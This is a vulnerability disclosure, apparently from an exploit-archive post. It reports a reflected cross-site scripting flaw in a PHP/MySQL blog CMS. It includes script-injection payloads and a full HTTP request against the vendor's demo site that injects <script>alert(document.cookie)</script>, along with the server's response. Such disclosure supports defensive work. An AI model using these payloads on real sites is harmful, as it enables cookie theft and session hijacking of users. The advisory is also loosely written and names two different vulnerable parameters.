SEO Friendly Blog CMS 1.0 Cross Site Scripting Vulnerability

## Title: SEO-friendly-blog-CMS-system-in-PHP-with-MYSQL-database-1.0-2023
XSS-Reflected Vulnerability
## Author: nu11secur1ty
## Vendor: https://technosmarter.com/
## Software: https://github.com/technosmarter/SEO-friendly-blog-CMS-system-in-PHP-with-MYSQL-database
## Reference XSS: https://portswigger.net/web-security/cross-site-scripting


## Description:
The value of the keywords request parameter is copied into the HTML
document as text between TITLE tags.
The payload wi46u</title><script>alert(1)</script>fssgc was submitted
in the keywords parameter. This input was echoed unmodified in the
application's response.
Conclusion: The `search` parameter is vulnerable for XSS-Reflected
with Js injection.
The malicious user can craft a very malicious URL and after this he
can sending it
to a very large group of people. This is very dangerous vulnerability.



STATUS: CRITICAL Vulnerability

[+]Exploit-XSS-test:
```XSS
POST /blog/search/%3Cscript%3Ealert(document.cookie)%3C/script%3E HTTP/2
Host: demo.technosmarter.com
Cookie: PHPSESSID=c116aa1138f1c4a490514e8bad58eef4
Content-Length: 73
Cache-Control: max-age=0
Sec-Ch-Ua: "Chromium";v="113", "Not-A.Brand";v="24"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Upgrade-Insecure-Requests: 1
Origin: https://demo.technosmarter.com
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.5672.93
Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://demo.technosmarter.com/blog/search/%3Cscript%3Ealert(document.cookie)%3C/script%3E
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9

keywords=%3Cscript%3Ealert%28document.cookie%29%3C%2Fscript%3E&subsearch=
```
[+]Response:
```HTTP
HTTP/2 302 Found
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-cache, no-store, must-revalidate, max-age=0
Pragma: no-cache
Location: https://demo.technosmarter.com/blog/search/<script>alert(document.cookie)</script>
Content-Type: text/html; charset=UTF-8
Content-Length: 18035
Vary: Accept-Encoding
Date: Wed, 17 May 2023 10:42:45 GMT
Server: LiteSpeed
Strict-Transport-Security: max-age=31536000; includeSubDomains; preload
X-Xss-Protection: 1; mode=block
X-Content-Type-Options: nosniff
Alt-Svc: h3=":443"; ma=2592000, h3-29=":443"; ma=2592000,
h3-Q050=":443"; ma=2592000, h3-Q046=":443"; ma=2592000,
h3-Q043=":443"; ma=2592000, quic=":443"; ma=2592000; v="43,46"
```
## Reproduce:
[href](https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/technosmarter/2023/SEO-friendly-blog-CMS-system-in-PHP-with-MYSQL-database-1.0-2023)

## Proof and Exploit:
[href](https://www.nu11secur1ty.com/2023/05/seo-friendly-blog-cms-10-2023-xss.html)

## Time spend:
00:37:00